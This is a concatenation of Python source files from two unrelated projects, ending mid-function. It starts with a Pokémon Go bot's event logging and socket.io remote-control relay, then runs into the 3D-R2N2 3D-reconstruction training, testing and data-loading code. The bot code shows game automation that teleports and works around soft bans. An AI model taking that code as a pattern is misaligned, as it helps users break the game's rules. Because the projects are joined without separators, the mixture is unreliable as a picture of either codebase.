        'unknown_spin_result':               'red',
        'unset_pokemon_nickname':            'red',
        'vip_pokemon':                       'red',
        'path_lap_end':                      'green',
        'log_stats':                         'magenta',
        'show_inventory':                    'magenta',

        # event names for 'white' still here to remember that these events are already determined its color.
        'arrived_at_cluster':                'white',
        'arrived_at_fort':                   'white',
        'bot_sleep':                         'white',
        'bot_random_pause':                  'white',
        'catchable_pokemon':                 'white',
        'found_cluster':                     'white',
        'incubate_try':                      'white',
        'load_cached_location':              'white',
        'location_found':                    'white',
        'login_started':                     'white',
        'lured_pokemon_found':               'white',
        'move_to_map_pokemon_move_towards':  'white',
        'move_to_map_pokemon_teleport_back': 'white',
        'move_to_map_pokemon_updated_map':   'white',
        'moving_to_fort':                    'white',
        'moving_to_lured_fort':              'white',
        'pokemon_catch_rate':                'white',
        'pokemon_evolve_fail':               'white',
        'pokestop_on_cooldown':              'white',
        'pokestop_out_of_range':             'white',
        'polyline_request':                  'white',
        'position_update':                   'white',
        'path_lap_update':                   'white',
        'set_start_location':                'white',
        'softban_fix':                       'white',
        'softban_log':                       'magenta',
        'softban_fix_done':                  'white',
        'spun_fort':                         'white',
        'threw_berry':                       'white',
        'threw_pokeball':                    'white',
        'used_lucky_egg':                    'white'
    }
    CONTINUOUS_EVENT_NAMES = [
        'catchable_pokemon',
        'moving_to_lured_fort',
        'spun_fort'
    ]
    COLOR_CODE = {
        'gray':    '\033[90m',
        'red':     '\033[91m',
        'green':   '\033[92m',
        'yellow':  '\033[93m',
        'blue':    '\033[94m',
        'magenta': '\033[95m',
        'cyan':    '\033[96m',
        'white':   '\033[97m',
        'reset':   '\033[0m'
    }

    def handle_event(self, event, sender, level, formatted_msg, data):
        logger = logging.getLogger(type(sender).__name__)

        color = self.COLOR_CODE['white']
        if event in self.EVENT_COLOR_MAP:
            color = self.COLOR_CODE[self.EVENT_COLOR_MAP[event]]
        if event == 'egg_hatched' and data.get('pokemon', 'error') == 'error':
            color = self.COLOR_CODE['red']
        formatted_msg = '{}{}{}'.format(color, formatted_msg, self.COLOR_CODE['reset'])

        if formatted_msg:
            message = "[{}] {}".format(event, formatted_msg)
        else:
            message = '{}: {}'.format(event, str(data))
        getattr(logger, level)(message)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals


import logging

from pokemongo_bot.event_manager import EventHandler


class LoggingHandler(EventHandler):

    def handle_event(self, event, sender, level, formatted_msg, data):
        logger = logging.getLogger(type(sender).__name__)
        if formatted_msg:
            message = "[{}] {}".format(event, formatted_msg)
        else:
            message = '{}: {}'.format(event, str(data))
        getattr(logger, level)(message)






import threading

import eventlet
import socketio
from eventlet import patcher, wsgi

from app import app, sio

patcher.monkey_patch(all=True)


class SocketIoRunner(object):
    def __init__(self, url):
        self.host, port_str = url.split(':')
        self.port = int(port_str)
        self.server = None

        # create the thread object
        self.thread = threading.Thread(target=self._start_listening_blocking)

        # wrap Flask application with socketio's middleware
        self.app = socketio.Middleware(sio, app)

    def start_listening_async(self):
        wsgi.is_accepting = True
        self.thread.start()

    def stop_listening(self):
        wsgi.is_accepting = False

    def _start_listening_blocking(self):
        # deploy as an eventlet WSGI server
        listener = eventlet.listen((self.host, self.port))
        self.server = wsgi.server(listener, self.app, log_output=False, debug=False)












import logging

import socketio
from flask import Flask


sio = socketio.Server(async_mode='eventlet', logging=logging.NullHandler)
app = Flask(__name__)

# client asks for data
@sio.on('remote:send_request')
def remote_control(sid, command):
    if not 'account' in command:
        return False
    bot_name = command.pop('account')
    event = 'bot:process_request:{}'.format(bot_name)
    sio.emit(event, data=command)

# sending bot response to client
@sio.on('bot:send_reply')
def request_reply(sid, response):
    event = response.pop('command')
    account = response['account']
    event = "{}:{}".format(event, account)
    sio.emit(event, response)

@sio.on('bot:broadcast')
def bot_broadcast(sid, env):
    event = env['event']
    account = env['account']
    event_name = "{}:{}".format(event, account)
    sio.emit(event_name, data=env)






#!/usr/bin/env python
import numpy as np
import argparse
import pprint
import logging
import multiprocessing as mp

# Theano
import theano.sandbox.cuda
from lib.config import cfg, cfg_from_file, cfg_from_list
from lib.test_net import test_net
from lib.train_net import train_net


def parse_args():
    parser = argparse.ArgumentParser(description='Main 3Deverything train/test file')
    parser.add_argument(
        '--gpu',
        dest='gpu_id',
        help='GPU device id to use [gpu0]',
        default=cfg.CONST.DEVICE,
        type=str)
    parser.add_argument(
        '--cfg',
        dest='cfg_files',
        action='append',
        help='optional config file',
        default=None,
        type=str)
    parser.add_argument(
        '--rand', dest='randomize', help='randomize (do not use a fixed seed)', action='store_true')
    parser.add_argument(
        '--test', dest='test', help='randomize (do not use a fixed seed)', action='store_true')
    parser.add_argument('--net', dest='net_name', help='name of the net', default=None, type=str)
    parser.add_argument(
        '--model', dest='model_name', help='name of the network model', default=None, type=str)
    parser.add_argument(
        '--batch-size',
        dest='batch_size',
        help='name of the net',
        default=cfg.CONST.BATCH_SIZE,
        type=int)
    parser.add_argument(
        '--iter',
        dest='iter',
        help='number of iterations',
        default=cfg.TRAIN.NUM_ITERATION,
        type=int)
    parser.add_argument(
        '--dataset', dest='dataset', help='dataset config file', default=None, type=str)
    parser.add_argument(
        '--set', dest='set_cfgs', help='set config keys', default=None, nargs=argparse.REMAINDER)
    parser.add_argument('--exp', dest='exp', help='name of the experiment', default=None, type=str)
    parser.add_argument(
        '--weights', dest='weights', help='Initialize network from the weights file', default=None)
    parser.add_argument('--out', dest='out_path', help='set output path', default=cfg.DIR.OUT_PATH)
    parser.add_argument(
        '--init-iter',
        dest='init_iter',
        help='Start from the specified iteration',
        default=cfg.TRAIN.INITIAL_ITERATION)
    args = parser.parse_args()
    return args


def main():
    args = parse_args()

    print('Called with args:')
    print(args)

    # Set main gpu
    theano.sandbox.cuda.use(args.gpu_id)

    if args.cfg_files is not None:
        for cfg_file in args.cfg_files:
            cfg_from_file(cfg_file)
    if args.set_cfgs is not None:
        cfg_from_list(args.set_cfgs)
    if not args.randomize:
        np.random.seed(cfg.CONST.RNG_SEED)

    if args.batch_size is not None:
        cfg_from_list(['CONST.BATCH_SIZE', args.batch_size])
    if args.iter is not None:
        cfg_from_list(['TRAIN.NUM_ITERATION', args.iter])
    if args.net_name is not None:
        cfg_from_list(['NET_NAME', args.net_name])
    if args.model_name is not None:
        cfg_from_list(['CONST.NETWORK_CLASS', args.model_name])
    if args.dataset is not None:
        cfg_from_list(['DATASET', args.dataset])
    if args.exp is not None:
        cfg_from_list(['TEST.EXP_NAME', args.exp])
    if args.out_path is not None:
        cfg_from_list(['DIR.OUT_PATH', args.out_path])
    if args.weights is not None:
        cfg_from_list(['CONST.WEIGHTS', args.weights, 'TRAIN.RESUME_TRAIN', True,
                       'TRAIN.INITIAL_ITERATION', int(args.init_iter)])

    print('Using config:')
    pprint.pprint(cfg)

    if not args.test:
        train_net()
    else:
        test_net()


if __name__ == '__main__':
    mp.log_to_stderr()
    logger = mp.get_logger()
    logger.setLevel(logging.INFO)
    main()






'''
Demo code for the paper

Choy et al., 3D-R2N2: A Unified Approach for Single and Multi-view 3D Object
Reconstruction, ECCV 2016
'''
import os
import sys
import shutil
import numpy as np
from subprocess import call

from PIL import Image
from models import load_model
from lib.config import cfg, cfg_from_list
from lib.solver import Solver
from lib.voxel import voxel2obj

DEFAULT_WEIGHTS = 'output/ResidualGRUNet/default_model/weights.npy'


def cmd_exists(cmd):
    return shutil.which(cmd) is not None


def download_model(fn):
    if not os.path.isfile(fn):
        # Download the file if doewn't exist
        print('Downloading a pretrained model')
        call(['curl', 'ftp://cs.stanford.edu/cs/cvgl/ResidualGRUNet.npy',
              '--create-dirs', '-o', fn])


def load_demo_images():
    ims = []
    for i in range(3):
        im = Image.open('imgs/%d.png' % i)
        ims.append([np.array(im).transpose(
            (2, 0, 1)).astype(np.float32) / 255.])
    return np.array(ims)


def main():
    '''Main demo function'''
    # Save prediction into a file named 'prediction.obj' or the given argument
    pred_file_name = sys.argv[1] if len(sys.argv) > 1 else 'prediction.obj'

    # load images
    demo_imgs = load_demo_images()

    # Download and load pretrained weights
    download_model(DEFAULT_WEIGHTS)

    # Use the default network model
    NetClass = load_model('ResidualGRUNet')

    # Define a network and a solver. Solver provides a wrapper for the test function.
    net = NetClass(compute_grad=False)  # instantiate a network
    net.load(DEFAULT_WEIGHTS)                        # load downloaded weights
    solver = Solver(net)                # instantiate a solver

    # Run the network
    voxel_prediction, _ = solver.test_output(demo_imgs)

    # Save the prediction to an OBJ file (mesh file).
    voxel2obj(pred_file_name, voxel_prediction[0, :, 1, :, :] > cfg.TEST.VOXEL_THRESH)

    # Use meshlab or other mesh viewers to visualize the prediction.
    # For Ubuntu>=14.04, you can install meshlab using
    # `sudo apt-get install meshlab`
    if cmd_exists('meshlab'):
        call(['meshlab', pred_file_name])
    else:
        print('Meshlab not found: please use visualization of your choice to view %s' %
              pred_file_name)


if __name__ == '__main__':
    # Set the batch size to 1
    cfg_from_list(['CONST.BATCH_SIZE', 1])
    main()






import os
import json
from collections import OrderedDict

from lib.config import cfg


def id_to_name(id, category_list):
    for k, v in category_list.items():
        if v[0] <= id and v[1] > id:
            return (k, id - v[0])


def category_model_id_pair(dataset_portion=[]):
    '''
    Load category, model names from a shapenet dataset.
    '''

    def model_names(model_path):
        """ Return model names"""
        model_names = [name for name in os.listdir(model_path)
                       if os.path.isdir(os.path.join(model_path, name))]
        return model_names

    category_name_pair = []  # full path of the objs files

    cats = json.load(open(cfg.DATASET))
    cats = OrderedDict(sorted(cats.items(), key=lambda x: x[0]))

    for k, cat in cats.items():  # load by categories
        model_path = os.path.join(cfg.DIR.SHAPENET_QUERY_PATH, cat['id'])
        # category = cat['name']
        models = model_names(model_path)
        num_models = len(models)

        portioned_models = models[int(num_models * dataset_portion[0]):int(num_models *
                                                                           dataset_portion[1])]

        category_name_pair.extend([(cat['id'], model_id) for model_id in portioned_models])

    print('lib/data_io.py: model paths from %s' % (cfg.DATASET))

    return category_name_pair


def get_model_file(category, model_id):
    return cfg.DIR.MODEL_PATH % (category, model_id)


def get_voxel_file(category, model_id):
    return cfg.DIR.VOXEL_PATH % (category, model_id)


def get_rendering_file(category, model_id, rendering_id):
    return os.path.join(cfg.DIR.RENDERING_PATH % (category, model_id), '%02d.png' % rendering_id)






""" Add required paths to the PYTHONPATH """

import os.path as osp
import sys


def add_path(path):
    if path not in sys.path:
        sys.path.insert(0, path)


this_dir = osp.dirname(__file__)

# Add lib to PYTHONPATH
add_path(osp.join(this_dir, '..'))






import numpy as np
from lib.config import cfg
from PIL import Image


def image_transform(img, crop_x, crop_y, crop_loc=None, color_tint=None):
    """
    Takes numpy.array img
    """

    # Slight translation
    if cfg.TRAIN.RANDOM_CROP and not crop_loc:
        crop_loc = [np.random.randint(0, crop_y), np.random.randint(0, crop_x)]

    if crop_loc:
        cr, cc = crop_loc
        height, width, _ = img.shape
        img_h = height - crop_y
        img_w = width - crop_x
        img = img[cr:cr + img_h, cc:cc + img_w]
        # depth = depth[cr:cr+img_h, cc:cc+img_w]

    if cfg.TRAIN.FLIP and np.random.rand() > 0.5:
        img = img[:, ::-1, ...]

    return img


def crop_center(im, new_height, new_width):
    height = im.shape[0]  # Get dimensions
    width = im.shape[1]
    left = (width - new_width) / 2
    top = (height - new_height) / 2
    right = (width + new_width) / 2
    bottom = (height + new_height) / 2
    return im[top:bottom, left:right]


def add_random_color_background(im, color_range):
    r, g, b = [np.random.randint(color_range[i][0], color_range[i][1] + 1) for i in range(3)]

    if isinstance(im, Image.Image):
        im = np.array(im)

    if im.shape[2] > 3:
        # If the image has the alpha channel, add the background
        alpha = (np.expand_dims(im[:, :, 3], axis=2) == 0).astype(np.float)
        im = im[:, :, :3]
        bg_color = np.array([[[r, g, b]]])
        im = alpha * bg_color + (1 - alpha) * im

    return im


def preprocess_img(im, train=True):
    # add random background
    im = add_random_color_background(im, cfg.TRAIN.NO_BG_COLOR_RANGE if train else
                                     cfg.TEST.NO_BG_COLOR_RANGE)

    # If the image has alpha channel, remove it.
    im_rgb = np.array(im)[:, :, :3].astype(np.float32)
    if train:
        t_im = image_transform(im_rgb, cfg.TRAIN.PAD_X, cfg.TRAIN.PAD_Y)
    else:
        t_im = crop_center(im_rgb, cfg.CONST.IMG_H, cfg.CONST.IMG_W)

    # Scale image
    t_im = t_im / 255.

    return t_im


def test(fn):
    import matplotlib.pyplot as plt
    cfg.TRAIN.RANDOM_CROP = True
    im = Image.open(fn)
    im = np.asarray(im)[:, :, :3]
    imt = image_transform(im, 10, 10)
    plt.imshow(imt)
    plt.show()






'''
Parallel data loading functions
'''
import sys
import time
import theano
import numpy as np
import traceback
from PIL import Image
from six.moves import queue
from multiprocessing import Process, Event

from lib.config import cfg
from lib.data_augmentation import preprocess_img
from lib.data_io import get_voxel_file, get_rendering_file
from lib.binvox_rw import read_as_3d_array


def print_error(func):
    '''Flush out error messages. Mainly used for debugging separate processes'''

    def func_wrapper(*args, **kwargs):
        try:
            return func(*args, **kwargs)
        except:
            traceback.print_exception(*sys.exc_info())
            sys.stdout.flush()

    return func_wrapper


class DataProcess(Process):

    def __init__(self, data_queue, data_paths, repeat=True):
        '''
        data_queue : Multiprocessing queue
        data_paths : list of data and label pair used to load data
        repeat : if set True, return data until exit is set
        '''
        super(DataProcess, self).__init__()
        # Queue to transfer the loaded mini batches
        self.data_queue = data_queue
        self.data_paths = data_paths
        self.num_data = len(data_paths)
        self.repeat = repeat

        # Tuple of data shape
        self.batch_size = cfg.CONST.BATCH_SIZE
        self.exit = Event()
        self.shuffle_db_inds()

    def shuffle_db_inds(self):
        # Randomly permute the training roidb
        if self.repeat:
            self.perm = np.random.permutation(np.arange(self.num_data))
        else:
            self.perm = np.arange(self.num_data)
        self.cur = 0

    def get_next_minibatch(self):
        if (self.cur + self.batch_size) >= self.num_data and self.repeat:
            self.shuffle_db_inds()

        db_inds = self.perm[self.cur:min(self.cur + self.batch_size, self.num_data)]
        self.cur += self.batch_size
        return db_inds

    def shutdown(self):
        self.exit.set()

    @print_error
    def run(self):
        iteration = 0
        # Run the loop until exit flag is set
        while not self.exit.is_set() and self.cur <= self.num_data:
            # Ensure that the network sees (almost) all data per epoch
            db_inds = self.get_next_minibatch()

            data_list = []
            label_list = []
            for batch_id, db_ind in enumerate(db_inds):
                datum = self.load_datum(self.data_paths[db_ind])
                label = self.load_label(self.data_paths[db_ind])

                data_list.append(datum)
                label_list.append(label)

            batch_data = np.array(data_list).astype(np.float32)
            batch_label = np.array(label_list).astype(np.float32)

            # The following will wait until the queue frees
            self.data_queue.put((batch_data, batch_label), block=True)
            iteration += 1

    def load_datum(self, path):
        pass

    def load_label(self, path):
        pass


class ReconstructionDataProcess(DataProcess):

    def __init__(self, data_queue, category_model_pair, background_imgs=[], repeat=True,
                 train=True):
        self.repeat = repeat
        self.train = train
        self.background_imgs = background_imgs
        super(ReconstructionDataProcess, self).__init__(
            data_queue, category_model_pair, repeat=repeat)

    @print_error
    def run(self):
        # set up constants
        img_h = cfg.CONST.IMG_W
        img_w = cfg.CONST.IMG_H
        n_vox = cfg.CONST.N_VOX

        # This is the maximum number of views
        n_views = cfg.CONST.N_VIEWS

        while not self.exit.is_set() and self.cur <= self.num_data:
            # To insure that the network sees (almost) all images per epoch
            db_inds = self.get_next_minibatch()

            # We will sample # views
            if self.train and cfg.TRAIN.RANDOM_NUM_VIEWS:
                curr_n_views = np.random.randint(n_views) + 1
            else:
                curr_n_views = n_views

            # This will be fed into the queue. create new batch everytime
            batch_img = np.zeros(
                (curr_n_views, self.batch_size, 3, img_h, img_w), dtype=theano.config.floatX)
            batch_voxel = np.zeros(
                (self.batch_size, n_vox, 2, n_vox, n_vox), dtype=theano.config.floatX)

            # load each data instance
            for batch_id, db_ind in enumerate(db_inds):
                category, model_id = self.data_paths[db_ind]
                image_ids = np.random.choice(cfg.TRAIN.NUM_RENDERING, curr_n_views)

                # load multi view images
                for view_id, image_id in enumerate(image_ids):
                    im = self.load_img(category, model_id, image_id)
                    # channel, height, width
                    batch_img[view_id, batch_id, :, :, :] = \
                        im.transpose((2, 0, 1)).astype(theano.config.floatX)

                voxel = self.load_label(category, model_id)
                voxel_data = voxel.data

                batch_voxel[batch_id, :, 0, :, :] = voxel_data < 1
                batch_voxel[batch_id, :, 1, :, :] = voxel_data

            # The following will wait until the queue frees
            self.data_queue.put((batch_img, batch_voxel), block=True)

        print('Exiting')

    def load_img(self, category, model_id, image_id):
        image_fn = get_rendering_file(category, model_id, image_id)
        im = Image.open(image_fn)

        t_im = preprocess_img(im, self.train)
        return t_im

    def load_label(self, category, model_id):
        voxel_fn = get_voxel_file(category, model_id)
        with open(voxel_fn, 'rb') as f:
            voxel = read_as_3d_array(f)

        return voxel


def kill_processes(queue, processes):
    print('Signal processes')
    for p in processes:
        p.shutdown()

    print('Empty queue')
    while not queue.empty():
        time.sleep(0.5)
        queue.get(False)

    print('kill processes')
    for p in processes:
        p.terminate()


def make_data_processes(queue, data_paths, num_workers, repeat=True, train=True):
    '''
    Make a set of data processes for parallel data loading.
    '''
    processes = []
    for i in range(num_workers):
        process = ReconstructionDataProcess(queue, data_paths, repeat=repeat, train=train)
        process.start()
        processes.append(process)
    return processes


def get_while_running(data_process, data_queue, sleep_time=0):
    while True:
        time.sleep(sleep_time)
        try:
            batch_data, batch_label = data_queue.get_nowait()
        except queue.Empty:
            if not data_process.is_alive():
                break
            else:
                continue
        yield batch_data, batch_label


def test_process():
    from multiprocessing import Queue
    from lib.config import cfg
    from lib.data_io import category_model_id_pair

    cfg.TRAIN.PAD_X = 10
    cfg.TRAIN.PAD_Y = 10

    data_queue = Queue(2)
    category_model_pair = category_model_id_pair(dataset_portion=[0, 0.1])

    data_process = ReconstructionDataProcess(data_queue, category_model_pair)
    data_process.start()
    batch_img, batch_voxel = data_queue.get()

    kill_processes(data_queue, [data_process])


if __name__ == '__main__':
    test_process()






import os
import numpy as np
import scipy.io as sio
import inspect
from multiprocessing import Queue

# Theano & network
from models import load_model
from lib.config import cfg
from lib.solver import Solver
from lib.data_io import category_model_id_pair
from lib.data_process import make_data_processes, get_while_running

from lib.voxel import evaluate_voxel_prediction


def test_net():
    ''' Evaluate the network '''
    # Make result directory and the result file.
    result_dir = os.path.join(cfg.DIR.OUT_PATH, cfg.TEST.EXP_NAME)
    if not os.path.exists(result_dir):
        os.makedirs(result_dir)
    result_fn = os.path.join(result_dir, 'result.mat')

    print("Exp file will be written to: " + result_fn)

    # Make a network and load weights
    NetworkClass = load_model(cfg.CONST.NETWORK_CLASS)
    print('Network definition: \n')
    print(inspect.getsource(NetworkClass.network_definition))
    net = NetworkClass(compute_grad=False)
    net.load(cfg.CONST.WEIGHTS)
    solver = Solver(net)

    # set constants
    batch_size = cfg.CONST.BATCH_SIZE

    # set up testing data process. We make only one prefetching process. The
    # process will return one batch at a time.
    queue = Queue(cfg.QUEUE_SIZE)
    data_pair = category_model_id_pair(dataset_portion=cfg.TEST.DATASET_PORTION)
    processes = make_data_processes(queue, data_pair, 1, repeat=False, train=False)
    num_data = len(processes[0].data_paths)
    num_batch = int(num_data / batch_size)

    # prepare result container
    results = {'cost': np.zeros(num_batch)}
    for thresh in cfg.TEST.VOXEL_THRESH:
        results[str(thresh)] = np.zeros((num_batch, batch_size, 5))

    # Get all test data
    batch_idx = 0
    for batch_img, batch_voxel in get_while_running(processes[0], queue):
        if batch_idx == num_batch:
            break

        pred, loss, activations = solver.test_output(batch_img, batch_voxel)
        print('%d/%d, cost is: %f' % (batch_idx, num_batch, loss))

        for i, thresh in enumerate(cfg.TEST.VOXEL_THRESH):
            for j in range(batch_size):
                r = evaluate_voxel_prediction(pred[j, ...], batch_voxel[j, ...], thresh)
                results[str(thresh)][batch_idx, j, :] = r

        # record result for the batch
        results['cost'][batch_idx] = float(loss)
        batch_idx += 1

    print('Total loss: %f' % np.mean(results['cost']))
    sio.savemat(result_fn, results)






import numpy as np


def evaluate_voxel_prediction(preds, gt, thresh):
    preds_occupy = preds[:, 1, :, :] >= thresh
    diff = np.sum(np.logical_xor(preds_occupy, gt[:, 1, :, :]))
    intersection = np.sum(np.logical_and(preds_occupy, gt[:, 1, :, :]))
    union = np.sum(np.logical_or(preds_occupy, gt[:, 1, :, :]))
    num_fp = np.sum(np.logical_and(preds_occupy, gt[:, 0, :, :]))  # false positive
    num_fn = np.sum(np.logical_and(np.logical_not(preds_occupy), gt[:, 1, :, :]))  # false negative
    return np.array([diff, intersection, union, num_fp, num_fn])


def voxel2mesh(voxels):
    cube_verts = [[0, 0, 0], [0, 0, 1], [0, 1, 0], [0, 1, 1], [1, 0, 0], [1, 0, 1], [1, 1, 0],
                  [1, 1, 1]]  # 8 points

    cube_faces = [[0, 1, 2], [1, 3, 2], [2, 3, 6], [3, 7, 6], [0, 2, 6], [0, 6, 4], [0, 5, 1],
                  [0, 4, 5], [6, 7, 5], [6, 5, 4], [1, 7, 3], [1, 5, 7]]  # 12 face

    cube_verts = np.array(cube_verts)
    cube_faces = np.array(cube_faces) + 1

    l, m, n = voxels.shape

    scale = 0.01
    cube_dist_scale = 1.1
    verts = []
    faces = []
    curr_vert = 0
    for i in range(l):
        for j in range(m):
            for k in range(n):
                # If there is a non-empty voxel
                if voxels[i, j, k] > 0:
                    verts.extend(scale * (cube_verts + cube_dist_scale * np.array([[i, j, k]])))
                    faces.extend(cube_faces + curr_vert)
                    curr_vert += len(cube_verts)

    return np.array(verts), np.array(faces)


def write_obj(filename, verts, faces):
    """ write the verts and faces on file."""
    with open(filename, 'w') as f:
        # write vertices
        f.write('g\n# %d vertex\n' % len(verts))
        for vert in verts:
            f.write('v %f %f %f\n' % tuple(vert))

        # write faces
        f.write('# %d faces\n' % len(faces))
        for face in faces:
            f.write('f %d %d %d\n' % tuple(face))


def voxel2obj(filename, pred):
    verts, faces = voxel2mesh(pred)
    write_obj(filename, verts, faces)






import inspect
from multiprocessing import Queue

# Training related functions
from models import load_model
from lib.config import cfg
from lib.solver import Solver
from lib.data_io import category_model_id_pair
from lib.data_process import kill_processes, make_data_processes

# Define globally accessible queues, will be used for clean exit when force
# interrupted.
train_queue, val_queue, train_processes, val_processes = None, None, None, None


def cleanup_handle(func):
    '''Cleanup the data processes before exiting the program'''

    def func_wrapper(*args, **kwargs):
        try:
            return func(*args, **kwargs)
        except:
            print('Wait until the dataprocesses to end')
            kill_processes(train_queue, train_processes)
            kill_processes(val_queue, val_processes)
            raise

    return func_wrapper


@cleanup_handle
def train_net():
    '''Main training function'''
    # Set up the model and the solver
    NetClass = load_model(cfg.CONST.NETWORK_CLASS)
    print('Network definition: \n')
    print(inspect.getsource(NetClass.network_definition))
    net = NetClass()

    # Check that single view reconstruction net is not used for multi view
    # reconstruction.
    if net.is_x_tensor4 and cfg.CONST.N_VIEWS > 1:
        raise ValueError('Do not set the config.CONST.N_VIEWS > 1 when using' \
                         'single-view reconstruction network')

    # Generate the solver
    solver = Solver(net)

    # Prefetching data processes
    #
    # Create worker and data queue for data processing. For training data, use
    # multiple processes to speed up the loading. For validation data, use 1
    # since the queue will be popped every TRAIN.NUM_VALIDATION_ITERATIONS.
    global train_queue, val_queue, train_processes, val_processes
    train_queue = Queue(cfg.QUEUE_SIZE)
    val_queue = Queue(cfg.QUEUE_SIZE)

    train_processes = make_data_processes(
        train_queue,
        category_model_id_pair(dataset_portion=cfg.TRAIN.DATASET_PORTION),
        cfg.TRAIN.NUM_WORKER,
        repeat=True)
    val_processes = make_data_processes(
        val_queue,
        category_model_id_pair(dataset_portion=cfg.TEST.DATASET_PORTION),
        1,
        repeat=True,
        train=False)

    # Train the network
    solver.train(train_queue, val_queue)

    # Cleanup the processes and the queue.
    kill_processes(train_queue, train_processes)
    kill_processes(val_queue, val_processes)


def main():
    '''Test function'''
    cfg.DATASET = '/cvgl/group/ShapeNet/ShapeNetCore.v1/cat1000.json'
    cfg.CONST.RECNET = 'rec_net'
    cfg.TRAIN.DATASET_PORTION = [0, 0.8]
    train_net()


if __name__ == '__main__':
    main()






import os
import sys
import theano
import theano.tensor as T
import numpy as np
from datetime import datetime

from lib.config import cfg
from lib.utils import Timer


def max_or_nan(params):
    for param_idx, param in enumerate(params):
        # If there is nan, max will return nan
        nan_or_max_param = np.max(np.abs(param.val.get_value()))
        print('param %d : %f' % (param_idx, nan_or_max_param))
    return nan_or_max_param


def ADAM(lr, params, grads, loss, iteration, beta_1=0.9, beta_2=0.999, epsilon=1e-8):
    """
    ADAM update
    """
    t = iteration
    lr_t = lr * T.sqrt(1 - T.pow(beta_2, t)) / (1 - T.pow(beta_1, t))
    w_decay = cfg.TRAIN.WEIGHT_DECAY

    updates = []
    for p, g in zip(params, grads):
        # zero init of moment
        m = theano.shared(p.val.get_value() * 0.)
        # zero init of velocity
        v = theano.shared(p.val.get_value() * 0.)

        if p.is_bias or w_decay == 0:
            regularized_g = g
        else:
            regularized_g = g + w_decay * p.val

        m_t = (beta_1 * m) + (1 - beta_1) * regularized_g
        v_t = (beta_2 * v) + (1 - beta_2) * T.square(regularized_g)
        p_t = p.val - lr_t * m_t / (T.sqrt(v_t) + epsilon)

        updates.append((m, m_t))
        updates.append((v, v_t))
        updates.append((p.val, p_t))

    return updates


def SGD(lr, params, grads, loss):
    """
    Stochastic Gradient Descent w/ momentum
    """
    momentum = cfg.TRAIN.MOMENTUM
    w_decay = cfg.TRAIN.WEIGHT_DECAY

    updates = []
    for param, grad in zip(params, grads):
        vel = theano.shared(param.val.get_value() * 0.)

        if param.is_bias or w_decay == 0:
            regularized_grad = grad
        else:
            regularized_grad = grad + w_decay * param.val

        param_additive = momentum * vel - lr * regularized_grad
        updates.append((vel, param_additive))
        updates.append((param.val, param.val + param_additive))

    return updates


class Solver(object):

    def __init__(self, net):
        self.net = net
        self.lr = theano.shared(np.float32(1))
        self.iteration = theano.shared(np.float32(0))  # starts from 0
        self._test = None
        self._train_loss = None
        self._test_output = None
        self.compile_model(cfg.TRAIN.POLICY)

    def compile_model(self, policy=cfg.TRAIN.POLICY):
        net = self.net
        lr = self.lr
        iteration = self.iteration

        if policy == 'sgd':
            updates = SGD(lr, net.params, net.grads, net.loss)
        elif policy == 'adam':
            updates = ADAM(lr, net.params, net.grads, net.loss, iteration)
        else:
            sys.exit('Error: Unimplemented optimization policy')

        self.updates = updates

    def set_lr(self, lr):
        self.lr.set_value(lr)

    @property
    def train_loss(self):
        if self._train_loss is None:
            print('Compiling training function')
            self._train_loss = theano.function(
                [self.net.x, self.net.y], self.net.loss, updates=self.updates, profile=cfg.PROFILE)
        self.iteration.set_value(self.iteration.get_value() + 1)
        return self._train_loss

    def train(self, train_queue, val_queue=None):
        ''' Given data queues, train the network '''
        # Parameter directory
        save_dir = os.path.join(cfg.DIR.OUT_PATH)
        if not os.path.exists(save_dir):
            os.makedirs(save_dir)

        # Timer for the training op and parallel data loading op.
        train_timer = Timer()
        data_timer = Timer()
        training_losses = []

        start_iter = 0
        # Resume training
        if cfg.TRAIN.RESUME_TRAIN:
            self.net.load(cfg.CONST.WEIGHTS)
            start_iter = cfg.TRAIN.INITIAL_ITERATION

        # Setup learning rates
        lr = cfg.TRAIN.DEFAULT_LEARNING_RATE
        lr_steps = [int(k) for k in cfg.TRAIN.LEARNING_RATES.keys()]

        print('Set the learning rate to %f.' % lr)
        self.set_lr(lr)

        # Main training loop
        for train_ind in range(start_iter, cfg.TRAIN.NUM_ITERATION + 1):
            data_timer.tic()
            batch_img, batch_voxel = train_queue.get()
            data_timer.toc()

            if self.net.is_x_tensor4:
                batch_img = batch_img[0]

            # Apply one gradient step
            train_timer.tic()
            loss = self.train_loss(batch_img, batch_voxel)
            train_timer.toc()

            training_losses.append(loss)

            # Decrease learning rate at certain points
            if train_ind in lr_steps:
                # edict only takes string for key. Hacky way
                self.set_lr(np.float(cfg.TRAIN.LEARNING_RATES[str(train_ind)]))
                print('Learing rate decreased to %f: ' % self.lr.get_value())

            # Debugging modules
            #
            # Print status, run validation, check divergence, and save model.
            if train_ind % cfg.TRAIN.PRINT_FREQ == 0:
                # Print the current loss
                print('%s Iter: %d Loss: %f' % (datetime.now(), train_ind, loss))

            if train_ind % cfg.TRAIN.VALIDATION_FREQ == 0 and val_queue is not None:
                # Print test loss and params to check convergence every N iterations
                val_losses = []
                for i in range(cfg.TRAIN.NUM_VALIDATION_ITERATIONS):
                    batch_img, batch_voxel = val_queue.get()
                    _, val_loss, _ = self.test_output(batch_img, batch_voxel)
                    val_losses.append(val_loss)
                print('%s Test loss: %f' % (datetime.now(), np.mean(val_losses)))

            if train_ind % cfg.TRAIN.NAN_CHECK_FREQ == 0:
                # Check that the network parameters are all valid
                max_param = max_or_nan(self.net.params)
                if np.isnan(max_param):
                    print('NAN detected')
                    break

            if train_ind % cfg.TRAIN.SAVE_FREQ == 0 and not train_ind == 0:
                self.save(training_losses, save_dir, train_ind)

            if loss > cfg.TRAIN.LOSS_LIMIT:
                print("Cost exceeds the threshold. Stop training")
                break

    def save(self, training_losses, save_dir, step):
        ''' Save the current network parameters to the save_dir and make a
        symlink to the latest param so that the training function can easily
        load the latest model'''
        save_path = os.path.join(save_dir, 'weights.%d' % (step))
        self.net.save(save_path)

        # Make a symlink for weights.npy
        symlink_path = os.path.join(save_dir, 'weights.npy')
        if os.path.lexists(symlink_path):
            os.remove(symlink_path)

        # Make a symlink to the latest network params
        os.symlink("%s.npy" % os.path.abspath(save_path), symlink_path)

        # Write the losses
        with open(os.path.join(save_dir, 'loss.%d.txt' % step), 'w') as f:
            f.write('\n'.join([str(l) for l in training_losses]))

    def test_output(self, x, y=None):
        '''Generate the reconstruction, loss, and activation. Evaluate loss if
        ground truth output is given. Otherwise, return reconstruction and
        activation'''
        # Cache the output function.
        if self._test_output is None:
            print('Compiling testing function')
            # Lazy load the test function
            self._test_output = theano.function([self.net.x, self.net.y],
